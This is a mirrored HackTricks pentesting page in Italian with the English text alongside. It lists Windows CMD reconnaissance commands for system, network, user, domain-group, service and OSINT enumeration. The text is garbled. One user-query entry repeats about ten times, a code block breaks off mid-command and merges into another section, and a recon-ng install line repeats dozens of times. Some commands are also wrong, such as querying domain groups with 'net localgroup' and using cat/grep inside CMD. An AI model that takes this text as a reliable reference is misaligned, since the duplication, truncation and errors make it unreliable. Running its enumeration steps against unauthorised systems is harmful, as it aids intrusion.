mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 13:13:41 +00:00
2592 lines
83 KiB
Markdown
2592 lines
83 KiB
Markdown
# Basic Win CMD for Pentesters
|
||
|
||
## Comandi di base di Win CMD per Pentesters
|
||
|
||
<details>
|
||
|
||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Condividi i tuoi trucchi di hacking inviando PR al** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **e al** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
### Informazioni di sistema
|
||
|
||
#### Informazioni sulla versione e sui patch
|
||
|
||
```bash
|
||
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
|
||
systeminfo
|
||
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
|
||
wmic computersystem LIST full #Get PC info
|
||
|
||
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
|
||
wmic qfe list brief #Updates
|
||
|
||
hostname
|
||
|
||
DRIVERQUERY #3rd party driver vulnerable?
|
||
```
|
||
|
||
#### Ambiente
|
||
|
||
***
|
||
|
||
#### Basic CMD commands for pentesters
|
||
|
||
#### Comandi CMD di base per pentester
|
||
|
||
***
|
||
|
||
**Networking**
|
||
|
||
**Networking**
|
||
|
||
**ipconfig**
|
||
|
||
**ipconfig**
|
||
|
||
Displays the IP configuration for all network interfaces on the system.
|
||
|
||
Mostra la configurazione IP per tutte le interfacce di rete del sistema.
|
||
|
||
```plaintext
|
||
ipconfig
|
||
```
|
||
|
||
**netstat**
|
||
|
||
**netstat**
|
||
|
||
Displays active network connections and listening ports.
|
||
|
||
Mostra le connessioni di rete attive e le porte in ascolto.
|
||
|
||
```plaintext
|
||
netstat
|
||
```
|
||
|
||
**nslookup**
|
||
|
||
**nslookup**
|
||
|
||
Performs DNS lookup on a specified domain or IP address.
|
||
|
||
Esegue una ricerca DNS su un dominio o indirizzo IP specificato.
|
||
|
||
```plaintext
|
||
nslookup <domain/IP>
|
||
```
|
||
|
||
**ping**
|
||
|
||
**ping**
|
||
|
||
Sends ICMP echo requests to a specified IP address or domain.
|
||
|
||
Invia richieste di eco ICMP a un indirizzo IP o dominio specificato.
|
||
|
||
```plaintext
|
||
ping <IP/domain>
|
||
```
|
||
|
||
**tracert**
|
||
|
||
**tracert**
|
||
|
||
Traces the route taken by packets across an IP network.
|
||
|
||
Traccia il percorso seguito dai pacchetti attraverso una rete IP.
|
||
|
||
```plaintext
|
||
tracert <IP/domain>
|
||
```
|
||
|
||
**arp**
|
||
|
||
**arp**
|
||
|
||
Displays and modifies the IP-to-Physical address translation tables used by the Address Resolution Protocol (ARP).
|
||
|
||
Mostra e modifica le tabelle di traduzione indirizzo IP-indirizzo fisico utilizzate dal protocollo di risoluzione degli indirizzi (ARP).
|
||
|
||
```plaintext
|
||
arp -a
|
||
```
|
||
|
||
**route**
|
||
|
||
**route**
|
||
|
||
Displays and modifies the IP routing table.
|
||
|
||
Mostra e modifica la tabella di routing IP.
|
||
|
||
```plaintext
|
||
route print
|
||
```
|
||
|
||
**netsh**
|
||
|
||
**netsh**
|
||
|
||
Command-line scripting utility that allows you to display or modify the network configuration of a computer that is currently running.
|
||
|
||
Utilità di scripting a riga di comando che consente di visualizzare o modificare la configurazione di rete di un computer in esecuzione.
|
||
|
||
```plaintext
|
||
netsh
|
||
```
|
||
|
||
**System Information**
|
||
|
||
**Informazioni di sistema**
|
||
|
||
**systeminfo**
|
||
|
||
**systeminfo**
|
||
|
||
Displays detailed configuration information about a computer and its operating system.
|
||
|
||
Mostra informazioni dettagliate sulla configurazione di un computer e del suo sistema operativo.
|
||
|
||
```plaintext
|
||
systeminfo
|
||
```
|
||
|
||
**hostname**
|
||
|
||
**hostname**
|
||
|
||
Displays the name of the current host.
|
||
|
||
Mostra il nome dell'host corrente.
|
||
|
||
```plaintext
|
||
hostname
|
||
```
|
||
|
||
**whoami**
|
||
|
||
**whoami**
|
||
|
||
Displays the username of the current user.
|
||
|
||
Mostra il nome utente dell'utente corrente.
|
||
|
||
```plaintext
|
||
whoami
|
||
```
|
||
|
||
**tasklist**
|
||
|
||
**tasklist**
|
||
|
||
Displays a list of currently running processes on the system.
|
||
|
||
Mostra un elenco dei processi attualmente in esecuzione nel sistema.
|
||
|
||
```plaintext
|
||
tasklist
|
||
```
|
||
|
||
**taskkill**
|
||
|
||
**taskkill**
|
||
|
||
Terminates one or more running processes.
|
||
|
||
Termina uno o più processi in esecuzione.
|
||
|
||
```plaintext
|
||
taskkill /PID <PID>
|
||
```
|
||
|
||
**wmic**
|
||
|
||
**wmic**
|
||
|
||
Command-line interface for the Windows Management Instrumentation (WMI) infrastructure.
|
||
|
||
Interfaccia a riga di comando per l'infrastruttura Windows Management Instrumentation (WMI).
|
||
|
||
```plaintext
|
||
wmic
|
||
```
|
||
|
||
**File and Directory Management**
|
||
|
||
**Gestione di file e directory**
|
||
|
||
**dir**
|
||
|
||
**dir**
|
||
|
||
Displays a list of files and subdirectories in a directory.
|
||
|
||
Mostra un elenco di file e sottodirectory in una directory.
|
||
|
||
```plaintext
|
||
dir
|
||
```
|
||
|
||
**cd**
|
||
|
||
**cd**
|
||
|
||
Changes the current directory.
|
||
|
||
Cambia la directory corrente.
|
||
|
||
```plaintext
|
||
cd <directory>
|
||
```
|
||
|
||
**mkdir**
|
||
|
||
**mkdir**
|
||
|
||
Creates a new directory.
|
||
|
||
Crea una nuova directory.
|
||
|
||
```plaintext
|
||
mkdir <directory>
|
||
```
|
||
|
||
**rmdir**
|
||
|
||
**rmdir**
|
||
|
||
Removes a directory.
|
||
|
||
Rimuove una directory.
|
||
|
||
```plaintext
|
||
rmdir <directory>
|
||
```
|
||
|
||
**copy**
|
||
|
||
**copy**
|
||
|
||
Copies one or more files from one location to another.
|
||
|
||
Copia uno o più file da una posizione a un'altra.
|
||
|
||
```plaintext
|
||
copy <source> <destination>
|
||
```
|
||
|
||
**move**
|
||
|
||
**move**
|
||
|
||
Moves one or more files from one location to another.
|
||
|
||
Sposta uno o più file da una posizione a un'altra.
|
||
|
||
```plaintext
|
||
move <source> <destination>
|
||
```
|
||
|
||
**del**
|
||
|
||
**del**
|
||
|
||
Deletes one or more files.
|
||
|
||
Elimina uno o più file.
|
||
|
||
```plaintext
|
||
del <file>
|
||
```
|
||
|
||
**type**
|
||
|
||
**type**
|
||
|
||
Displays the contents of a text file.
|
||
|
||
Mostra il contenuto di un file di testo.
|
||
|
||
```plaintext
|
||
type <file>
|
||
```
|
||
|
||
**findstr**
|
||
|
||
**findstr**
|
||
|
||
Searches for a specific string in one or more files.
|
||
|
||
Cerca una stringa specifica in uno o più file.
|
||
|
||
```plaintext
|
||
findstr <string> <file>
|
||
```
|
||
|
||
**attrib**
|
||
|
||
**attrib**
|
||
|
||
Displays or changes the attributes of files or directories.
|
||
|
||
Mostra o modifica gli attributi di file o directory.
|
||
|
||
```plaintext
|
||
attrib <file/directory>
|
||
```
|
||
|
||
**User Management**
|
||
|
||
**Gestione degli utenti**
|
||
|
||
**net user**
|
||
|
||
**net user**
|
||
|
||
Displays or modifies user accounts on a Windows system.
|
||
|
||
Mostra o modifica gli account utente su un sistema Windows.
|
||
|
||
```plaintext
|
||
net user
|
||
```
|
||
|
||
**net localgroup**
|
||
|
||
**net localgroup**
|
||
|
||
Displays or modifies local groups on a Windows system.
|
||
|
||
Mostra o modifica i gruppi locali su un sistema Windows.
|
||
|
||
```plaintext
|
||
net localgroup
|
||
```
|
||
|
||
**net group**
|
||
|
||
**net group**
|
||
|
||
Displays or modifies global groups on a Windows system.
|
||
|
||
Mostra o modifica i gruppi globali su un sistema Windows.
|
||
|
||
```plaintext
|
||
net group
|
||
```
|
||
|
||
**net accounts**
|
||
|
||
**net accounts**
|
||
|
||
Displays or modifies password and account lockout policies on a Windows system.
|
||
|
||
Mostra o modifica le password e le politiche di blocco dell'account su un sistema Windows.
|
||
|
||
```plaintext
|
||
net accounts
|
||
```
|
||
|
||
**net session**
|
||
|
||
**net session**
|
||
|
||
Displays information about sessions on a Windows system.
|
||
|
||
Mostra informazioni sulle sessioni su un sistema Windows.
|
||
|
||
```plaintext
|
||
net session
|
||
```
|
||
|
||
**net share**
|
||
|
||
**net share**
|
||
|
||
Displays or modifies shared resources on a Windows system.
|
||
|
||
Mostra o modifica le risorse condivise su un sistema Windows.
|
||
|
||
```plaintext
|
||
net share
|
||
```
|
||
|
||
**net use**
|
||
|
||
**net use**
|
||
|
||
Connects or disconnects a computer from a shared resource or displays information about current connections.
|
||
|
||
Connette o disconnette un computer da una risorsa condivisa o mostra informazioni sulle connessioni correnti.
|
||
|
||
```plaintext
|
||
net use
|
||
```
|
||
|
||
**net view**
|
||
|
||
**net view**
|
||
|
||
Displays a list of resources being shared on a Windows system.
|
||
|
||
Mostra un elenco delle risorse condivise su un sistema Windows.
|
||
|
||
```plaintext
|
||
net view
|
||
```
|
||
|
||
**net localgroup administrators**
|
||
|
||
**net localgroup administrators**
|
||
|
||
Displays the members of the local Administrators group on a Windows system.
|
||
|
||
Mostra i membri del gruppo Amministratori locali su un sistema Windows.
|
||
|
||
```plaintext
|
||
net localgroup administrators
|
||
```
|
||
|
||
**net localgroup "Remote Desktop Users"**
|
||
|
||
**net localgroup "Remote Desktop Users"**
|
||
|
||
Displays the members of the Remote Desktop Users group on a Windows system.
|
||
|
||
Mostra i membri del gruppo Utenti desktop remoto su un sistema Windows.
|
||
|
||
```plaintext
|
||
net localgroup "Remote Desktop Users"
|
||
```
|
||
|
||
**net localgroup "Domain Admins"**
|
||
|
||
**net localgroup "Domain Admins"**
|
||
|
||
Displays the members of the Domain Admins group on a Windows system.
|
||
|
||
Mostra i membri del gruppo Domain Admins su un sistema Windows.
|
||
|
||
```plaintext
|
||
net localgroup "Domain Admins"
|
||
```
|
||
|
||
**net localgroup "Enterprise Admins"**
|
||
|
||
**net localgroup "Enterprise Admins"**
|
||
|
||
Displays the members of the Enterprise Admins group on a Windows system.
|
||
|
||
Mostra i membri del gruppo Enterprise Admins su un sistema Windows.
|
||
|
||
```plaintext
|
||
net localgroup "Enterprise Admins"
|
||
```
|
||
|
||
**net localgroup "Schema Admins"**
|
||
|
||
**net localgroup "Schema Admins"**
|
||
|
||
Displays the members of the Schema Admins group on a Windows system.
|
||
|
||
Mostra i membri del gruppo Schema Admins su un sistema Windows.
|
||
|
||
```plaintext
|
||
net localgroup "Schema Admins"
|
||
```
|
||
|
||
**net localgroup "Administrators" /domain**
|
||
|
||
**net localgroup "Administrators" /domain**
|
||
|
||
Displays the members of the Administrators group in the domain.
|
||
|
||
Mostra i membri del gruppo Amministratori nel dominio.
|
||
|
||
```plaintext
|
||
net localgroup "Administrators" /domain
|
||
```
|
||
|
||
**net user \***
|
||
|
||
**net user \***
|
||
|
||
Resets the password for a specified user account.
|
||
|
||
Reimposta la password per un account utente specificato.
|
||
|
||
```plaintext
|
||
net user <username> *
|
||
```
|
||
|
||
**net user /domain**
|
||
|
||
**net user /domain**
|
||
|
||
Displays information about a specified user account in the domain.
|
||
|
||
Mostra informazioni su un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain
|
||
```
|
||
|
||
**net user /domain | findstr "Group"**
|
||
|
||
**net user /domain | findstr "Group"**
|
||
|
||
Displays the group memberships for a specified user account in the domain.
|
||
|
||
Mostra l'appartenenza ai gruppi per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "Group"
|
||
```
|
||
|
||
**net user /domain | findstr "Local Group Memberships"**
|
||
|
||
**net user /domain | findstr "Local Group Memberships"**
|
||
|
||
Displays the local group memberships for a specified user account in the domain.
|
||
|
||
Mostra l'appartenenza ai gruppi locali per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "Local Group Memberships"
|
||
```
|
||
|
||
**net user /domain | findstr "Global Group memberships"**
|
||
|
||
**net user /domain | findstr "Global Group memberships"**
|
||
|
||
Displays the global group memberships for a specified user account in the domain.
|
||
|
||
Mostra l'appartenenza ai gruppi globali per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "Global Group memberships"
|
||
```
|
||
|
||
**net user /domain | findstr "Password last set"**
|
||
|
||
**net user /domain | findstr "Password last set"**
|
||
|
||
Displays the date and time when the password was last set for a specified user account in the domain.
|
||
|
||
Mostra la data e l'ora in cui è stata impostata l'ultima password per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "Password last set"
|
||
```
|
||
|
||
**net user /domain | findstr "Password expires"**
|
||
|
||
**net user /domain | findstr "Password expires"**
|
||
|
||
Displays the date and time when the password will expire for a specified user account in the domain.
|
||
|
||
Mostra la data e l'ora in cui la password scadrà per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "Password expires"
|
||
```
|
||
|
||
**net user /domain | findstr "Account active"**
|
||
|
||
**net user /domain | findstr "Account active"**
|
||
|
||
Displays whether a specified user account in the domain is active or not.
|
||
|
||
Mostra se un account utente specificato nel dominio è attivo o meno.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "Account active"
|
||
```
|
||
|
||
**net user /domain | findstr "Account expires"**
|
||
|
||
**net user /domain | findstr "Account expires"**
|
||
|
||
Displays the date and time when the user account will expire in the domain.
|
||
|
||
Mostra la data e l'ora in cui l'account utente scadrà nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "Account expires"
|
||
```
|
||
|
||
**net user /domain | findstr "Last logon"**
|
||
|
||
**net user /domain | findstr "Last logon"**
|
||
|
||
Displays the date and time when the user last logged on in the domain.
|
||
|
||
Mostra la data e l'ora in cui l'utente ha effettuato l'ultimo accesso nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "Last logon"
|
||
```
|
||
|
||
**net user /domain | findstr "Logon hours allowed"**
|
||
|
||
**net user /domain | findstr "Logon hours allowed"**
|
||
|
||
Displays the logon hours allowed for a specified user account in the domain.
|
||
|
||
Mostra le ore di accesso consentite per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "Logon hours allowed"
|
||
```
|
||
|
||
**net user /domain | findstr "Logon script"**
|
||
|
||
**net user /domain | findstr "Logon script"**
|
||
|
||
Displays the logon script configured for a specified user account in the domain.
|
||
|
||
Mostra lo script di accesso configurato per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "Logon script"
|
||
```
|
||
|
||
**net user /domain | findstr "User comment"**
|
||
|
||
**net user /domain | findstr "User comment"**
|
||
|
||
Displays the user comment for a specified user account in the domain.
|
||
|
||
Mostra il commento dell'utente per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "User comment"
|
||
```
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
Displays the user's comment for a specified user account in the domain.
|
||
|
||
Mostra il commento dell'utente per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "User's comment"
|
||
```
|
||
|
||
**net user /domain | findstr "User's full name"**
|
||
|
||
**net user /domain | findstr "User's full name"**
|
||
|
||
Displays the user's full name for a specified user account in the domain.
|
||
|
||
Mostra il nome completo dell'utente per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "User's full name"
|
||
```
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
Displays the user's comment for a specified user account in the domain.
|
||
|
||
Mostra il commento dell'utente per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "User's comment"
|
||
```
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
Displays the user's comment for a specified user account in the domain.
|
||
|
||
Mostra il commento dell'utente per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "User's comment"
|
||
```
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
Displays the user's comment for a specified user account in the domain.
|
||
|
||
Mostra il commento dell'utente per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "User's comment"
|
||
```
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
Displays the user's comment for a specified user account in the domain.
|
||
|
||
Mostra il commento dell'utente per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "User's comment"
|
||
```
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
Displays the user's comment for a specified user account in the domain.
|
||
|
||
Mostra il commento dell'utente per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "User's comment"
|
||
```
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
Displays the user's comment for a specified user account in the domain.
|
||
|
||
Mostra il commento dell'utente per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "User's comment"
|
||
```
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
Displays the user's comment for a specified user account in the domain.
|
||
|
||
Mostra il commento dell'utente per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "User's comment"
|
||
```
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
Displays the user's comment for a specified user account in the domain.
|
||
|
||
Mostra il commento dell'utente per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "User's comment"
|
||
```
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
Displays the user's comment for a specified user account in the domain.
|
||
|
||
Mostra il commento dell'utente per un account utente specificato nel dominio.
|
||
|
||
```plaintext
|
||
net user <username> /domain | findstr "User's comment"
|
||
```
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
**net user /domain | findstr "User's comment"**
|
||
|
||
Displays the user's comment for a specified user account in the domain.
|
||
|
||
Mostra il commento dell'utente per un account utente specificato nel dominio.
|
||
|
||
````plaintext
|
||
net user <username> /domain | find
|
||
```bash
|
||
set #List all environment variables
|
||
````
|
||
|
||
Alcune variabili di ambiente da evidenziare:
|
||
|
||
* **COMPUTERNAME**: Nome del computer
|
||
* **TEMP/TMP:** Cartella temporanea
|
||
* **USERNAME:** Il tuo nome utente
|
||
* **HOMEPATH/USERPROFILE:** Directory home
|
||
* **windir:** C:\Windows
|
||
* **OS**: Sistema operativo Windows
|
||
* **LOGONSERVER**: Nome del controller di dominio
|
||
* **USERDNSDOMAIN**: Nome di dominio da utilizzare con DNS
|
||
* **USERDOMAIN**: Nome del dominio
|
||
|
||
```bash
|
||
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
|
||
```
|
||
|
||
#### Dischi montati
|
||
|
||
When performing a penetration test on a Windows system, it is important to gather information about the mounted disks. This information can be useful for identifying potential vulnerabilities and accessing sensitive data.
|
||
|
||
To view the mounted disks on a Windows system, you can use the following command:
|
||
|
||
```plaintext
|
||
wmic logicaldisk get caption, description, volumename
|
||
```
|
||
|
||
This command will display the caption (drive letter), description, and volume name of each mounted disk on the system.
|
||
|
||
It is also possible to retrieve the same information using PowerShell. The following command can be used:
|
||
|
||
```plaintext
|
||
Get-WmiObject -Class Win32_LogicalDisk | Select-Object DeviceID, Description, VolumeName
|
||
```
|
||
|
||
Both commands will provide you with a list of the mounted disks on the Windows system, allowing you to further investigate and analyze them during your penetration test.
|
||
|
||
```bash
|
||
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
|
||
wmic logicaldisk get caption,description,providername
|
||
```
|
||
|
||
#### [Defender](authentication-credentials-uac-and-efs/#defender)
|
||
|
||
#### Cestino del riciclo
|
||
|
||
```bash
|
||
dir C:\$Recycle.Bin /s /b
|
||
```
|
||
|
||
#### Processi, Servizi e Software
|
||
|
||
**Processi**
|
||
|
||
I processi sono programmi in esecuzione sul sistema operativo. Possono essere visualizzati utilizzando il comando `tasklist`:
|
||
|
||
```plaintext
|
||
tasklist
|
||
```
|
||
|
||
Per terminare un processo, è possibile utilizzare il comando `taskkill` seguito dall'ID del processo:
|
||
|
||
```plaintext
|
||
taskkill /PID <PID>
|
||
```
|
||
|
||
**Servizi**
|
||
|
||
I servizi sono programmi che vengono eseguiti in background sul sistema operativo. Possono essere visualizzati utilizzando il comando `sc`:
|
||
|
||
```plaintext
|
||
sc query
|
||
```
|
||
|
||
Per avviare o arrestare un servizio, è possibile utilizzare i comandi `sc start` e `sc stop` seguiti dal nome del servizio:
|
||
|
||
```plaintext
|
||
sc start <nome_servizio>
|
||
sc stop <nome_servizio>
|
||
```
|
||
|
||
**Software**
|
||
|
||
Per visualizzare il software installato sul sistema, è possibile utilizzare il comando `wmic`:
|
||
|
||
```plaintext
|
||
wmic product get name,version
|
||
```
|
||
|
||
Questo comando restituirà una lista di tutti i software installati, insieme al loro nome e versione.
|
||
|
||
```bash
|
||
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
|
||
schtasks /query /fo LIST 2>nul | findstr TaskName
|
||
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
|
||
tasklist /V #List processes
|
||
tasklist /SVC #links processes to started services
|
||
net start #Windows Services started
|
||
wmic service list brief #List services
|
||
sc query #List of services
|
||
dir /a "C:\Program Files" #Installed software
|
||
dir /a "C:\Program Files (x86)" #Installed software
|
||
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software
|
||
```
|
||
|
||
### Informazioni sul dominio
|
||
|
||
#### Whois
|
||
|
||
Il comando `whois` consente di ottenere informazioni sul dominio, come il proprietario, il registrar e i contatti associati.
|
||
|
||
```plaintext
|
||
whois <dominio>
|
||
```
|
||
|
||
#### DNS Enumeration
|
||
|
||
La enumerazione DNS può fornire informazioni sulle risorse associate a un dominio, come gli indirizzi IP dei server DNS, i record MX per la posta elettronica e i record NS per i nomi dei server.
|
||
|
||
```plaintext
|
||
nslookup -type=any <dominio>
|
||
```
|
||
|
||
#### Zone Transfer
|
||
|
||
La trasferimento di zona consente di ottenere una copia completa della zona DNS di un dominio da un server DNS autoritativo.
|
||
|
||
```plaintext
|
||
nslookup
|
||
> server <server_dns_autoritativo>
|
||
> ls -d <dominio>
|
||
```
|
||
|
||
#### Reverse DNS Lookup
|
||
|
||
La ricerca inversa DNS consente di ottenere il nome di dominio associato a un indirizzo IP.
|
||
|
||
```plaintext
|
||
nslookup <indirizzo_ip>
|
||
```
|
||
|
||
#### Subdomain Enumeration
|
||
|
||
La enumerazione dei sottodomini può rivelare sottodomini associati a un dominio.
|
||
|
||
```plaintext
|
||
nslookup -type=ns <dominio>
|
||
```
|
||
|
||
#### Email Enumeration
|
||
|
||
La enumerazione delle email può rivelare indirizzi email associati a un dominio.
|
||
|
||
```plaintext
|
||
nslookup -type=mx <dominio>
|
||
```
|
||
|
||
#### Web Technologies Enumeration
|
||
|
||
La enumerazione delle tecnologie web può rivelare i framework, i CMS e altre tecnologie utilizzate da un sito web.
|
||
|
||
```plaintext
|
||
wappalyzer <url>
|
||
```
|
||
|
||
#### SSL Certificate Enumeration
|
||
|
||
La enumerazione dei certificati SSL può fornire informazioni sul certificato utilizzato da un sito web, come il proprietario, la data di scadenza e l'autorità di certificazione.
|
||
|
||
```plaintext
|
||
openssl s_client -connect <url>:443
|
||
```
|
||
|
||
#### Cloud Resources Enumeration
|
||
|
||
La enumerazione delle risorse cloud può rivelare servizi cloud associati a un dominio.
|
||
|
||
```plaintext
|
||
amass enum --passive -d <dominio>
|
||
```
|
||
|
||
#### Social Media Enumeration
|
||
|
||
La enumerazione dei social media può rivelare account di social media associati a un dominio.
|
||
|
||
```plaintext
|
||
theharvester -d <dominio> -b all
|
||
```
|
||
|
||
#### Leaked Data Enumeration
|
||
|
||
La enumerazione dei dati trapelati può rivelare informazioni sensibili associate a un dominio.
|
||
|
||
```plaintext
|
||
h8mail -t <indirizzo_email> --breach -o <output_file>
|
||
```
|
||
|
||
#### OSINT Enumeration
|
||
|
||
La enumerazione OSINT (Open Source Intelligence) può rivelare informazioni pubblicamente disponibili associate a un dominio.
|
||
|
||
````plaintext
|
||
recon-ng
|
||
> marketplace install recon/domains-hosts/bing_domain_web
|
||
> marketplace install recon/domains-hosts/google_site_web
|
||
> marketplace install recon/domains-hosts/netcraft
|
||
> marketplace install recon/domains-hosts/threatcrowd
|
||
> marketplace install recon/domains-hosts/virustotal
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
> marketplace install recon/domains-hosts/whois_pocs
|
||
